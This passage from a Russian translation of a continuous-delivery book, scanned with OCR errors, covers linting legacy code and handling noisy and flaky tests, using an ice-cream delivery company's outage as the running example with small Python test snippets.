форматируют код во время работы. Они могут взять на себя такие функции, 1 как обеспечение правильного порядка импорта и согласованности интерва

I лов. Форматтер может избавить вас от многих неприятностей! Обязательно lинте_:рир�йте инструмент формати�ования в свою IDE. Запустите форматтер 
в паиплаине и сравните полученныи результат с поставленным кодом. - - ______ /, 
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� Унаследованный и идеальный код 

Бекки и Рамон не могут исправить все ошибки, потому что большой объем кода 
уже существовал до того, как они начали использовать линтинг. Это значит, что 
они должны продолжать отслеживать базовый уровень ошибок и проверять, 
чтобы количество ошибок не увеличивалось, или же им придется постоянно 
подстраивать конфигурацию Pyliпt, чтобы он игнорировал ошибки, с которы
ми они решили смириться. 

90 000 
80 000 
70 000 
60 000 
50 000 
40 000 
30 000 
20 000 
10 000 

Стнпь 8 Ошибки 8 Баrи 

о �__..-------�....,. __ .... .____.. _______ �_._ __ .... .___ 
Март Апрель Май Июнь 

А как выглядит идеал? Если бы Бекки и Рамон могли проводить линтинг в те
чение неограниченного количества времени, какого результата они хотели бы 
достичь? Если вам посчастливилось работать над совершенно новой или от
носительно небольшой кодовой базой, идеал должен быть таким: 

При анализе кода линтер не выдает сообщений об ошибках. 

Разумна ли эта цель? Да! И даже если вы никогда ее не достигнете, мечтать 
о полете к звездам и посадке на Луну не так уж плохо. 

Если вы работаете с новой или небольшой кодовой базой, вам не обязатель
но делать все то, что делали Бекки и Рамон. Заметьте, что на шагах 2 и 3 Бекки 
и Рамон уделяют много времени измерению и отслеживанию базового уровня. 
Вместо этого лучше исправьте все ошибки. Вы по-прежнему можете применять 
очередность их исправления, описанную на шаге 4, так что если вас по какой-то 
причине прервут, вы все равно сначала разберетесь с самыми важными из них. 
Но ваша глобальная цель - добиться полного отсутствия ошибок. 

Вы можете применить проверку, аналогичную той, которую Бекки и Рамон 
добавили на шаге 3 ,  но вместо того, чтобы сравнивать количество ошибок 
линтинга с базовым уровнем, задайте условие его равенства нулю! 
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За кл ючен ие 
В проекте Super Game Console накопилось огромное количество багов и других 
проблем, а отсутствие единого стиля написания кода затрудняло поддержку игр. 
Несмотря на то что объем кодовой базы был очень большим, Бекки смогла добавить 
линтинг в процессы таким образом, что он принес ощутимую пользу. Она сделала 
это, подойдя к проблеме итеративно. 

После переопределения стандартов кодирования Бекки вместе с Рамоном из
мерила количество ошибок, выявляемых при линтинге, и добавила в пайплайн 
РR-тесты, проверяющие, что оно не увеличивается. Когда Бекки и Рамон начали 
исправлять ошибки, они поняли, что не все проблемы одинаково важны, поэтому 
основные усилия они приложили к исправлению кода, который, скорее всего, будет 
меняться, и стали решать проблемы в порядке их важности. 

Итоги 
• Линтинг выявляет баги и помогает поддерживать согласованность и удобство 

сопровождения кода. 

• Идеальный результат - когда инструменты линтинга не выявляют ошибок. 
Если унаследованного кода очень много, можно ограничиться условием, чтобы 
ошибок не становилось больше. 

• Изменение кода всегда сопряжено с риском добавления новых ошибок, поэтому 
важно быть осторожным и тщательно обдумывать, стоит ли вносить изменения. 
Если код меняется часто и/или содержит много известных багов, то, вероятно, 
стоит. В противном случае можно изолировать код и оставить его в покое. 

• Линтинг обычно выявляет три вида проблем, и не все они одинаково важны. 
Баги почти всегда следует исправлять. Ошибки могут привести к появлению 
багов и усложнить поддержку кода, но они не так важны, как баги. Наконец, ис
правление проблем со стилем упрощает работу с кодом, но они не столь важны, 
как баги и ошибки. 

Далее . . .  
В следующей главе м ы  рассмотрим, как работать с нестабильными наборами тестов. 
Мы подробно разберем, почему тесты становятся нестабильными и какой сигнал от 
них нам на самом деле необходим. 
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Работа с нестабил ьн ыми 
тестами 

•••••••••••••••••••••••••••••••••••••••• • 

В этой главе 

./ Почему тесты чрезвычайно важны для C D  

./ Пошаговый план перехода от сбоев нестабильных 

(noisy ) тестов к полезным и информативным сигналам 

./ Что делает тесты нестабильными 

./ Сбои при тестировании - это баги 

" Что такое ненадежные (f laky ) тесты и почему они 

вредны 

" Как правильно проводить повторные тесты 

5 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

Непрерывную доставку практически невозможно реализовать без 
тестов ! Для многих тесты являются синонимом, по крайней мере, 
непрерывной интеграции, но со временем некоторые наборы тестов 
теряют актуальность. В этой главе мы рассмотрим, как работать с не
стабильными наборами тестов. 
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Непреры вная доставка и тесты 
Как тесты вписываются в непрерывную доставку? Из главы 1 мы знаем два усло
вия CD: 

• существует возможность выпускать релизы ПО безопасно и в любое время; 

• выпуск можно делать максимально просто, буквально одним нажатием кнопки. 

Как узнать, что изменения можно вносить безо
пасно? Вы должны быть уверены, что ваш код 
делает то, что нужно. Это можно гарантировать, 
только протестировав его. Тесты подтвердят, что 
код делает именно то, что вы задумали. 

Эта книга не научит вас писать тесты; этой 
теме посвящено множество другой замечатель
ной литературы. Я буду исходить из того, что 
вы не только знаете, как писать тесты, но и что 
большинство современных программных про
ектов включают хотя бы несколько тестов (если 
в вашем проекте это не так, как можно скорее 
добавьте в него тесты) .  

� Словарик 
Набор тестов (test suite) -
это группа тестов. Часто 
это несколько тестов, ко-
торые проверяют конкрет-
ную часть программного 
продукта. 

В главе 3 говорилось о важности постоянной проверки каждого изменения. 
Чрезвычайно важно запускать тесты не просто регулярно, а при каждом измене
нии. Это хорошо работает, когда проект новый и в нем всего несколько тестов, но 
по мере развития проекта наборы тестов увеличиваются и со временем становятся 
медленными и менее надежными. В этой главе я покажу, как поддерживать тесты 
с течением времени, чтобы они оставались эффективными и обеспечивали посто
янную готовность кода к релизу. 

�-------------
Как QA вписывается в СО ? 

При всем внимании к автоматизации тестирования может возникнуть вопрос: 
значит ли, что если работать с CD, то контроль качества (quality assurance, QA) 
не нужен? Нет, не значит! Важно позволить людям делать то, что у них полу
чается лучше всего: исследовать и мыслить нестандартно. Автоматизируйте то, 
что можно, но автоматические тесты всегда будут делать только то, что вы им 
скажете. Если вы хотите обнаружить новые проблемы, о которых вы даже не 
догадываетесь, вам понадобятся люди, выполняющие QA! 

Книги для программистов: https://t.me/booksforits



Сбой в работе сервиса Ice Cream for Al l  117 

Сбой в работе сервиса lce Cream for Al l  
Очень успешная компания по доставке мороженого 
Ice Cream for All - одна из тех, кто уделяет внима
ние тестам. Уникальность ее коммерческого пред
ложения в том, что она связывает покупателей на
прямую с поставщиками в их районе, чтобы можно 
было заказать свое любимое мороженое и получить 
его с доставкой на дом за несколько минут! 

Компания Ice Cream for All связывает пользовате-
лей с тысячами поставщиков мороженого. Для этого 
сервис Ice Cream должен иметь возможность под
ключаться к уникальному API каждого поставщика. 

4 июля1 - день максимальной нагрузки для Ice 

• Словарик 
Ретроспективный отчет, 
который иногда называют 
«разбор полетов» (или 
postтorteт), - это возмож
ность проанализировать 
процесс, когда что-то идет 
не так, и решить, что мож
но улучшить на будущее. 

Cream for All. Каждый год 4 июля компания получает больше всего заказов на моро
женое. Но в этом году именно в часы максимальной нагрузки в работе произошел 
серьезный сбой ! Сервис Ice Cream не работал больше часа. 

Команда сервиса составила ретроспективный отчет, чтобы понять, что пошло не 
так, и исправить это на будущее, а в комментариях прошла интересная дискуссия: 

Ретроспективный отчет : с б о й  с е р в и с а  I c e  Cream 4 июл я  

Результаты : 

С' Ниши 
Я немного запуталась. Если 
мы уже исправляли эту 
ошибку, почему она возник-

80% запросов с е р в и с а  Ice Cream с кодом ошибки 500 

с 19 : 00 UTC 4 июля до 20 : 1 3 UTC . 

Пе рвопричина : 

/v ла снова? Разве у нас не 
было тестов 1 

�� 
,.; Пиюш 

P R  № 20034 с оздал р е г р е с с и ю  ( ра н е е  и с п р а влен ную 

ошибку в проблеме № 9877 ) в кл а с с е  I c e  C r e a m  

A P I  A d a pte r .  

Продолжител ьнос ть : 7 3  минуты 

Решение : Пиюш вер нул и змен е н и я  из N' 20034 и вручную 

собрал и о т п р а в и л  новый образ дл я с е р в и с а  I c e  C ream . 

Процент затронутых сервисов : 93% з а п росов к с е р в и с у  I c e  

C r e a m  з а в е р ш ил и с ь  с ошибкой . 

Обна ружение : дежурный и нженер ( П и юш )  получ ил оп овеще н и е  

об о бн а руже н и и  н а руше н и я  S LO . '  

У нас есть тесты для этого 
случая, и похоже, что они 
провалились на № 20034. 

С' Ниши 
Что? Почему же мы все
таки объединили № 200341 

@ Пит 
Этот тест постоянно 
проваливался, так что 
мы не поняли, ЧТО в ЭТОТ 
раз он действительно 
обнаружил ошибку. :(  1 Национальный праздник,  День независимости США. - Примеч. ред. 2 SLO (Service level objectives) - набор целевых, «желаемых» значений SLI,  выход за пределы которых 

может привести к нарушению SLA конкретного сервиса или компонента. SLI (Service level iпdicators) -

набор ключевых метрик, по которым можно определить жизненный статус сервиса, его производитель

ность и удовлетворенность конечных пользователей работой сервиса. SLA (Service level agreemeпt) -

так называемое соглашение об уровне доступности сервиса. - Примеч. пер. 
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Сигнал и шум 
У компании Ice Cream for АН проблема с нестабильными тестами. Они так часто 
проваливаются, что инженеры просто игнорируют сообщения об ошибках. И это 
привело к реальным проблемам: игнорирование нестабильного теста стоило ком
пании прибыли в самый напряженный день в году! 

Что делать с нестабильными тестами? Прежде всего понять суть проблемы. Что 
означает «нестабильный тест»?  

Термин «нестабильный» (или «зашумленный»,  noisy) происходит от  понятия 
соотношение сигнал/шум (signal-to-noise ratio) ,  которое описывает отношение по
лезной информации (сигнала) к помехам, которые делают ее менее четкой (шуму) . 

ВолнисW\аЯ линия - ЭW\О 
сиzнал, а бесмрядочная 
неробная линия - эWlo 
шум, мешающий ezo бос -
t"\ринимаWID. 

Что является сигналом для тестов? Какую информацию мы ищем? Это интересный 
вопрос, потому что можно подумать, что сигнал - это когда тест прошел. Но может 
быть и наоборот, сигналом являются случаи провала тестов. 

Ответ: и то и другое! Сигнал - это информация, а шум - это все, что отвле
кает нас от нее. 

Когда тесты проходят, вы получаете информацию: вы знаете, что система ведет 
себя так, как вы ожидаете (как определено тестами) .  Когда тесты не проходят, вы 
тоже получаете информацию. И даже еще сложнее. Из следующей таблицы видно, 
что и провалы, и успехи могут быть сиrналами, а могут быть и шумом. 

Тесты Успех Провал 

Проходит и должен проходить 
Сбои сообщают новую информа-

Сигнал (то есть ловит ошибки, которые 
должен был поймать) 

цию 

Шум 
Проходит, но не должен (то есть Сбои не сообщают никакой новой 
тест ошибочный)  информации 
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Эта информация может полностью изменить ваши представления, особенно если 
вы привыкли считать, что если тесты проходят, то это сигнал, а если проваливают
ся - то шум. Может, это и так, но как вы только что увидели, все немного сложнее: 

Сиrнал - это информация, а шум - это все, что отвлекает нас от нее. 

• Успех - это сигнал, если только он не скрывает информацию. 

• Провал - это сигнал, если он сообщает новую информацию, и шум, если не 
сообщает. 

Когда успешный тест скрывает информацию? Например, в случае, когда тест про
ходит, но на самом деле не должен проходить, это так называемый нестабильньtй 
успех (noisy success) . Например, в классе Orders метод, недавно добавленный в код 
Ice Cream For All, должен был возвращать самый последний заказ, и для него был 
добавлен следующий тест: 

def test_get_most_recent ( self ) : 
orders  = Orders ( )  
orders . ad d ( datetime . date ( 2020 , 9 ,  4 ) ,  " swirl  cone " )  
orders . add ( datetime . date ( 2020, 9 ,  7 ) ,  " c herry glazed " )  
orders . add ( datetime . date ( 2020, 9 ,  10 ) ,  " rainbow sprinkle " )  

most_recent = orders . get_most_recent ( )  
self . a ssertEqua l ( most_recent ,  " ra inbow sprinkle " )  

Тест проходит, но оказывается, что метод get_most_recent просто возвращает по
следний заказ в базовом словаре: 

c l a s s  Orders : 
def _init_( self ) : 

self . orders = collection s . defaultdict ( list ) 

В эмом мемоде несколtJко 
ощибок, 6 мом числе не учи -
мtJ16аемся случай ,  когда за -

def add ( self,  date ,  order ) :  кaзtJt не добабляюмся, но ЧW\О 
self . orders [ d at e ]  . append ( orde r )  еще оолее 6аЖНО, Когда 3aKa3tJI 

добабляюмся не У\О У1Орядку. 
def get_most_recent ( self ) : 

most_recent_key = list ( self . orders ) [ - 1 ]  � 
return  self . order s [ most_recent_key ] ( 0 ]  � 

Метод get_most_recent вообще не обращает внимания, когда были сделаны заказы. 
Он просто предполагает, что последний ключ в словаре соответствует самому по
следнему заказу. И так как тест добавляет самый свежий заказ последним (а начиная 
с Python 3.6 словарь упорядочен по порядку внесения элементов) ,  то тест проходит. 

Но поскольку базовая функциональность нарушена, тест вообще не должен про
ходить. Как я уже говорила, это то, что мы называем нестабильным успехом: про
хождение этого теста скрывает информацию о том, что базовая функциональность 
не работает должным образом. 
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Как п ровалы тестов становятся шумом 
Вы только что видели, как успешный тест может стать шумом. А как насчет про
валов? Всегда ли неудачные тесты - это шум? Или всегда сигнал? Ни то ни другое! 
Ответ в том, что провалы являются сигналом, когда они дают новую информацию, 
и шумом, когда не дают. Вспомните: 

Сигнал - это информация, а шум - это все, что отвлекает нас от нее. 

• Успешные тесты - это сигналы, если только они не маскируют информацию. 

• Сбои - это сигналы, если они сообщают новую информацию, и шум, если не 
сообщают. 

Когда тест проваливается с самого начала, мы получаем новую информацию о том, 
что между ожидаемым и фактическим поведением теста существует несоответствие. 
Это и есть сигнал. 

Тот же самый сигнал может стать шумом, если проигнорировать сбой. В следу
ющий раз, когда произойдет этот же сбой, мы получим информацию, которую уже 
знаем: мы уже знаем, что раньше тест не прошел, поэтому новый сбой не сообщает 
новой информации. Игнорируя неудачный тест, мы превратили сбой в шум. 

Это особенно часто случается, если трудно определить причину сбоя. Если сбой 
происходит не всегда (скажем, тест проходит успешно при запуске в рамках автома
тизации CI, но не проходит локально), то вероятность того, что его проигнорируют, 
гораздо выше, что создает шум. 
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� Ваш ход: определите, сигнал или шум 

Посмотрите на следующие ситуации,  происходящие в компании Ice Cream 
for All, и определите, «шум» это или «сигнал» :  

1 .  Работая над новой функцией выбора любимых вкусов мороженого, Пит 
создает PR для своих изменений. Один из тестов пользовательского интер
фейса не прошел, потому что Пит случайно переместил кнопку «Заказать» 
с ожидаемого места на другое. 

2 .  Выполняя интеграционные тесты на своей машине, Пиюш видит, что 
тест не проходит: TestOrderCancelledWhenPaymentRejected .  Он изучает 
результат теста, сам тест и тестируемый код и не понимает, почему тест не 
проходит. Когда он повторно запускает тест, все работает. 

3. Хотя тест TestOrderCancel ledWhenPaymentRejected у Пиюша однажды 
не прошел, он не может воспроизвести проблему и поэтому сливает свои 
изменения с общим кодом. Позже он вносит еще одно изменение и видит, 
что его PR не проходит тот же тест. Он повторно запускает его, и тест про
ходит, поэтому он снова игнорирует провал и сливает изменения. 

4. Ниши  проводит рефакторинг кода отображения истории заказов .  
При этом она замечает, что логика в одном из тестов неверна :  тест 
TestPagination La stPage ожидает, что сгенерированная страница будет 
содержать три элемента, но на самом деле она должна включать только 
два. Логика разбивки на страницы содержит баг. 

� Ответы 

1 .  Сигнал. Провал теста пользовательского интерфейса сообщил Питу новую 
информацию: он переместил кнопку «Заказать» .  

2 .  Сигнал. Пиюш не  понимал, что послужило причиной провала этого теста, 
но что-то вызвало провал, и это позволило получить новую информацию. 

3 .  Шум. Из своего опыта с этим тестом Пиюш подозревал, что с ним может 
быть что-то не так. Увидев, что тест снова провалился, он решил, что ин
формация, которую он получил раньше, была достоверной, но допустив 
этот провал и слияние, он создал шум. 

4. Шум. Тест, который обнаружила Ниши, должен был всегда проваливаться; 
то, что он прошел, скрыло информацию. 
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От шума к сигналу 
Системы оповещения полезны, только если на них обращают внимание. Если они 
слишком нестабильные, люди перестают их замечать и могут пропустить сигнал. 

Пример - автосигнализация: если вы живете в районе, где припарковано много 
машин, и слышите, как срабатывает сигнализация, броситесь ли вы к окну с теле
фоном наготове на экстренный случай? Наверное, это зависит от того, как часто 
подобное происходит; если вы никогда не слышали сигнал, то скорее всего, вы 
отреагируете. Но если вы слышите его каждые несколько дней, скорее всего, вы по
думаете: «А, кто-то в кого-то врезался. Надеюсь, сигналка скоро замолчит». 

Что вы сделаете, если живете или работаете в многоквартирном доме и у вас сра
ботала пожарная сигнализация? Вы, скорее всего, воспримете это всерьез и нехотя 
выйдете из здания. А если это повторится на следующий день? Вы, вероятно, все 
равно покинете здание, потому что эти сигналы тревоги громкие, но начнете со
мневаться, что это действительно чрезвычайная ситуация, а еще через день точно 
решите, что это ложная тревога. 

Чем дольше поступает нестабильный сигнал, тем легче его игнорировать и тем менее 
он эффективен. 
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.Словарик 
Чем дольше тесты остаются нестабильными, тем 
легче их игнорировать (даже если они сообщают 
информацию) и тем меньше их эффективность. Если 
ничего с ними не делать, они перестанут приносить 
пользу. Люди перестают воспринимать ложные про
валы и просто их игнорируют. 

Успешные тесты часто 
визуализируются зеле-
ным цветом, а неудач
ные - красным. Зеле-
ньtй режим означает, что 
все тесты пройдены! Именно это случилось в компании Ice Cream for 

All: ее разработчики настолько привыкли игнори-
ровать тесты, что пропустили несколько серьезных проблем. Тесты выявили эти 
проблемы, но компания все-таки потеряла деньги. 

Что же делать? Решение - как можно быстрее войти в зеленый режим, то есть 
в состояние, когда все тесты постоянно проходят, так что любое изменение этого 
состояния (сбой) станет реальным сигналом, который необходимо будет изучить. 

Не моzу мбериw�.ь, 
чwi.o у нас бь1л wi.ecwi., 
кowi.opыu обнаружил 
баz, а мы V\pouzнopu -

робам� ezo. 

Ниши совершенно права :  мы создаем 
и поддерживаем тесты не ради самих те
стов; мы делаем это, потому что считаем, 
что они приносят пользу, и большую часть 
этой пользы составляют сигналы, которые 
они нам сообщают. Поэтому она принима
ет трудное решение: приостановить раз
работку новых функций, пока все тесты не 
будут исправлены. 

наши WleCWIЫ V\pOCWIO 
слишком несw.абильные! 

Если мы будем обращаw.ь 
внимание на каждый сбой, 
мы никогда не реализуем 

Ни одноu фуНКf.<ии. 

Эммм, cw.oиw. ли 
w.pawi.иwi.ь CWIOЛbKO 
бремени на w.ecw.ы? 

Тесты приносят и друrую поль
зу. Например, юнит-тесты, или 
модульные тесты, помогают 
улучшить качество кода. Эта тема 
выходит за рамки данной книги. 
Чтобы узнать больше, поищите 
книгу о модульном тестировании. 
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Опять сбой! 
Команда делает то, что просит Ниши: приостанавливает разработку функций на 
две недели и в это время занимается только исправлением тестов. Через три недели 
тесты в пайплайне стабильно проходят. Они вошли в зеленый режим! 

! Выполнение тестов 
для сервиса l ce Cream 

-

Сборка образа 
сервиса lce Cream 

Загрузка образа 
сервиса l ce Cream 

Команда уверена, что можно добавлять новые функции, и на третьей неделе воз
вращается к обычной работе. В конце недели должен состояться выпуск очередного 
релиза, и планируется устроить небольшую вечеринку по этому поводу. Но в 3 часа 
ночи Ниши разбудил сигнал о том, что произошел очередной сбой. 

� Повод для размышления 

Правильно ли поступила Ниши? Она решила приостановить разработку 
функций на две недели, чтобы исправить тесты, а в итоге снова произошел 
сбой. Оглядываясь на это решение, легко сделать вывод, что (несомненно, 
затратное) замораживание разработки функций того не стоило и принесло 
больше вреда, чем пользы. 

Ниши пришлось принять решение, с которым часто сталкиваются многие 
из нас: сохранить статус-кво (для Ice Cream for All это означает нестабильные 
тесты, которые неожиданно вызывают сбои) или принять меры. «Принять 
меры» означает попробовать что-то сделать и что-то изменить. Каждый раз, 
когда вы меняете привычный порядок действий, вы рискуете: изменения 
могут пойти как на пользу, так и во вред. Нередко происходит и то и другое ! 
И зачастую после изменений наступает период адаптации, в течение кото
рого все становится только хуже, хотя в конечном итоге ситуация изменится 
к лучшему. 

Как бы вы поступили на месте Ниши? Считаете ли вы, что она права? Что 
бы вы сделали по-другому на ее месте, если бы вообще стали что-то делать? 
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Успеш но п рошедшие тесты могут оказаться 
нестабил ьными 

суббота, з:оо утра 
ПреОуУ\реждени.е: У\рОЦеНIМ ощи.бок С КОООМ 500 Y\pe8tJICU.Л 
У\Орогобое значени.е SLO. _____ _ 

К.мо -н1Абуд1:> знаем, 

похоже, чмо 6 1'\ОСледнем чмо 1'\роисходим? 

релизе б1:>1ла мра pezpec -
сий; сейчас Mt:>I 6се 

омкам1:>16аем назад. 

3а6иСIАМ ом MOZO, 
чмо м1:>1 имеещt:> 6 Виду 

1'\Од «1АСl'\ра6или»". 
36учим угрожающе. 

Ну. чаемо месмо6 б1:>1ла 
1'\росмо флейками .  1'\Оэмому 

Чмо м1:>1 имеещt:> 
6 6ид ? 

Mt:>t рещили заl'\усмимо их 
l'\06морно. А с какими мо 

вообще не смоzли разобрамt:> -
СЯ. 1'\ОЭМОМ!:J Mt:>I их 1'\ОКа 

ОМКЛЮЧIАЛи . 

похоже, нам нужно 
обсуд1Ам1:>, чмо на 

самом деле означаем 
«исl'\ра6имt:>» месм1:>1. 

Команда была довольна своими тестами, потому что 
они проходили успешно. К сожалению, шум никуда 
не делся, его только изменили. Теперь успешные тесты 
стали шумом. 

Изменение шума на сигнал - правильное решение, 
а переход от часто проваливающихся тестов в зеленый 
режим - хорошо для начала, поскольку это помогает 
бороться с ослаблением внимания. 

Но простого перехода к зеленому режиму недо
статочно: тесты, которые проходят, все еще могут быть 
нестабильными и скрывать серьезные проблемы. 

Осnоварик 
Более подробно объ-
ясню чуть позже, 
но вкратце: флейк 
(flake) - это тест, 
который иногда про-
ходит, а иногда нет. 

Команда решила проблему ослабления внимания, но не смогла исправить тесты. 

'-Ф� ВАЖНО 
Ниши сделала правильный выбор, но одного зеленого режима недостаточно. Не
обходимо, чтобы тесты оставались в устойчивом состоянии («пройден») и любое 
изменение в этом состоянии ( «сбой»)  являлось реальным сигналом, который 
необходимо проанализировать. Работайте с нестабильными тестами так: 
1 .  Как можно быстрее войдите в зеленый режим. 
2 .  Действительно исправляйте каждый проваленный тест; простое их игнори

рование только добавляет шума. 
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Исправление ошибок в тестах 
Возможно, вы удивитесь, узнав, что понять, исправили вы тест или нет, довольно 
сложно. Здесь мы возвращаемся к вопросу о том, что в тестах является сигналом, 
а что - шумом. 

Люди часто думают, что исправить тест означает сделать проваленный тест 
успешно пройденным. Но этого недостаточно! 

Технически исправление теста означает, что тест из состояния шума перешел 
в состояние сигнала. То есть существуют тесты, которые проходят, но которые 
нужно исправить. Подробнее об этом чуть позже; сейчас поговорим об исправлении 
тестов, которые не проходят. 

Каждый раз, когда тест не проходит, это означает, что произошло одно из двух 
событий (или оба сразу) : 

1 .  Тест написан неправильно (система не должна вести себя так, как ожидает 
тест) . 

2. В системе есть ошибка (с тестом все в порядке, а система ведет себя непра
вильно) . 

Интересно, что обычно мы пишем тесты, имея в виду вторую ситуацию, но когда те
сты проваливаются (особенно если не сразу понятно почему) , мы склонны считать, 
что имеет место первая ситуация (проблема в самих тестах) . 

Именно это чаще всего происходит, когда разработчики говорят, что их тесты 
нестабильны: тесты проваливаются, и они не могут понять почему, поэтому делают 
поспешный вывод, что с тестами что-то не так. 

Но у обеих ситуаций есть нечто общее: 

Если тест не проходит, значит, существует несоответствие между тем, 
какое поведение системы ожидает тест, и тем, как на самом деле ведет 
себя система.  

Независимо от того, что необходимо исправить - тест или систему, это несоответ
ствие должно быть проанализировано. Именно в этот момент жизненного цикла 
теста вероятность появления шума наибольшая. Провал теста сообщил информа
цию, в частности, о том, что между тестами и системой существует несоответствие. 
Если ее проигнорировать, то каждый новый сбой не даст ничего нового. Вместо 
этого он будет повторять то, что уже известно: несоответствие существует. Именно 
так провалы тестов становятся шумом. 

Другой способ внести шум - ошибочно принять ситуацию 2 за ситуацию 1 .  
Часто проще изменить тест, чем выяснить, почему система ведет себя так, как ве
дет. Если вы изменяете тест, не понимая толком поведения системы, вы создаете 
нестабильный успешный тест. Каждый раз, когда этот тест проходит, он скрывает 
информацию, а именно тот факт, что между тестом и системой существует несоот
ветствие, которое так и не было до конца изучено. 

Рассматривайте каждый провал теста как баг и исследуйте его полностью. 
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Виды п ровала тестов: flа kу-тесты 
Если усложнить историю о сигнале и шуме в тестах, то мы придем к самому печально 
известному виду сбоев в тестировании:  flаkу-тестам. Тесты могут проваливаться 
двумя способами: 

• Последовательно (консистентно) - каждый раз, когда тест запускается, он за
вершается ошибкой. 

• Непоследовательно (неконсистентно) - иногда тест проходит успешно, а иногда 
проваливается, и неясно, при каких условиях. 

Тесты, которые терпят неудачу время от времени,  обычно называют флейками, или 
flаkу-тестами1  (то есть нестабильными, ненадежными) .  Когда такие тесты про
валиваются, это называется «ненадежностью» :  точно так же как нельзя полагаться 
на ненадежного друга в общих планах, нельзя рассчитывать, что эти тесты будут 
стабильно проходить или проваливаться. 

воскресенье 
Конечно, 

я с удо6олt>сW16ием 
Y\OWl!JC!JIOCt> в среду. 

Среда О!А, а у нас 
Оt>IЛи Y\Лi.IHt>I? 
УУ\С, из6ини! 

С консистентными тестами гораздо проще работать, чем с flаkу-тестами, и вероят
ность их исправления (хочется надеяться, таким образом, чтобы снизить уровень 
шума) гораздо выше. Чаще всего наборы тестов оказываются нестабильными 
именно из-за того, что в них присутствуют flаkу-тесты. И может быть, из-за этого, 
а может, просто потому, что так проще, flаkу-тестам не уделяют столько же внима
ния, как последовательным сбоям: 

• Flаkу-тесты делают наборы тестов нестабильными. 

• Flаkу-тесты, скорее всего, будут игнорироваться и рассматриваться как несуще
ственные сбои. 

Это довольно иронично, потому что мы видели, что чем нестабильнее набор тестов, 
тем от него меньше пользы. А какие тесты могут сделать весь набор нестабильным? 
Flаkу-тесты, которые мы, скорее всего, проигнорируем. 

Обрабатывайте flаkу-тесты как любой другой вид сбоев тестов - как баги. 

Как и в любом другом случае провала теста, flаkу-тесты представляют собой несоот
ветствие между реальным и ожидаемым поведением системы. Разница лишь в том, 
что в этом несоответствии есть неопределенность. 

' Flake - осколок, клочок. Flaky - буквально «распадающийся на хлопья» .  - Примеч. пер. 
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Реаги рование на сбои 
Что пошло не так в подходе компании lce Cream For All к процессу тестирования? 
Команда изначально мыслила в верном направлении: 

Если тесты проваливаются, необходимо остановить процесс: 
не продолжать, пока тесты не будут исправлены. 

Если в коде есть тесты, которые не проходят, важно как можно быстрее перейти 
в зеленый режим, не выполнять слияния с главной веткой, пока эти сбои не будут 
исправлены. А если неудачные тесты возникли в самой ветке, не проводить слияние 
с этой веткой до тех пор, пока не будут исправлены ошибки. Но вопрос в том, как 
устранять эти ошибки. Вариантов несколько: 

• Действительно все исправить - в конечном счете необходимо понять, почему 
тест провалился, и либо исправить выявленную ошибку, либо обновить некор
ректный тест. 

• Удалить тест - это случается редко, но в ходе анализа может выясниться, что 
тест бесполезен и что его провал не повод принимать меры. В таком случае нет 
смысла оставлять тест и продолжать его поддерживать. 

• Отключить тест - это крайняя мера, и если применять ее, то только временно. 
Отключение теста означает, что сигнал будет скрыт. Любые отключенные тесты 
необходимо проверить как можно быстрее и либо исправить (см. вариант 1 ) , 
либо удалить. 

• Повторить тест - это еще одна крайняя мера, которая также скрывает сигнап. 
Это распространенный способ борьбы с flаkу-тестами. В основе этого способа 
лежит стремление добиться того, чтобы все тесты проходили, но это в корне не
верно: тесты должны предоставлять информацию. Если тест иногда не проходит 
и вы скрываете это, повторяя попытку, тем самым вы скрываете информацию 
и повышаете нестабильность. Повторные попытки иногда целесообразны, но 
редко на уровне самого теста. 

Приемлемым является только вариант 1 и,  в редких случаях, вариант 2 .  Вариан
ты 3 и 4 - это меры, которые следует принимать только на некоторое время, если 
вообще стоит, потому что они добавляют к сигналу шум, скрывая сбои. 
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Код или тест: что менять, исп равляя тесты? 
Компания Ice Cream for АН откатила последний релиз и снова приостановила раз
работку функций, пока команда изучает тесты, которые они «исправлялю> ранее. 

Просматривая часть исправлений, для которых было проведено слияние, Ниши 
замечает тревожную закономерность: многие из этих «Исправлений» изменяют толь
ко тесты и лишь некоторые - собственно тестируемый код. Ниши понимает, что 
это антипаттерн. Например, этот тест был ненадежным, поэтому он был обновлен 
и время ожидания условий его успешного выполнения увеличено: 

def test_submit_order ( self ) : 
orders = _generate_orders ( S )  
submit_orders (orders )  
events = get_event s ( PROCESSEO)  
self . a ssertEqua l ( len ( event s ) , 5 )  

def  test_submit_order ( self) : 
orders = _generate_orders ( S )  
submit_orders ( orders ) 

# wait for all  the orders to Ье proces sed 
done = lambda : len ( get_event s ( PROC E SSED ) ) = =  5 
wait_for_condition ( TIMEOUT_SECONDS , done )  

events = get_event s ( PROCESSED)  
self . a ssertEqua l ( len ( events ) ,  5 

Изначально тест был написан исходя из предположения, что заказ будет считаться 
подтвержденным сразу после его отправки. И код, вызывающий submit_orders ,  
тоже был создан с учетом этого предположения. Но этот тест оказался ненадежным 
из-за возникновения состояния гонки данных в submit_orders !  

Вместо того чтобы исправить эту проблему в функции s u bmi t_orders ,  кто-то 
обновил тест, что скрыло баг и добавило «нестабильный» успешный тест в набор 
тестов. 

На самом деле баr просто скрыли. 

Когда вы работаете с тестом, который дает сбой, то прежде чем вносить изменения, 
выясните, нет ли проблемы в самом тестируемом коде. То есть если код ведет себя 
подобным образом, когда используется вне тестов, должен ли он так себя вести? 
Если да, то имеет смысл исправить тест. Но если нет, то исправление не должно 
касаться теста: его необходимо внести в код. 

Это означает, что нужно мысленно переключиться с «давайте исправим тест» 
(чтобы он успешно проходил) на «давайте поймем, чем фактическое поведение кода 
отличается от ожидаемого, и исправим то, что нужно».  

Рассматривайте каждый провал теста как баг и исследуйте 
его со всех сторон. 

Ниши просит разработчика, обновившего тест, провести дальнейшее исследование. 
Найдя источник состояния гонки, они смогут исправить основную ошибку, и тест 
вообще не нужно будет менять. 
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Опасности повторного тести рова ния 
Повторный запуск всего теста обычно не  слишком хорошая идея, потому что все, 
что вызвало сбой, будет скрыто. Посмотрите на тест ниже, это один из тестов для 
интеграции сервиса Ice Cream с Mr. Freezie: 

# Тест не должен проваливаться только потому, 

# что сетевое подключение MrFreezie ненадежно . 

@ret ry ( ret ries=З ) 

def test_proce s s_orde r ( self ) : 
order = _geпerate_mr_freezie_order ( )  
mrf = MrF reezie ( )  
mrf . connect ( )  
mrf . process_order ( order )  
_a s sert_order_updated ( orde r )  

Во время приостановки разработки Пит  решил, что этот тест следует повторить. 
Его доводы были вполне логичными: известно, что сетевое подключение к серверам 
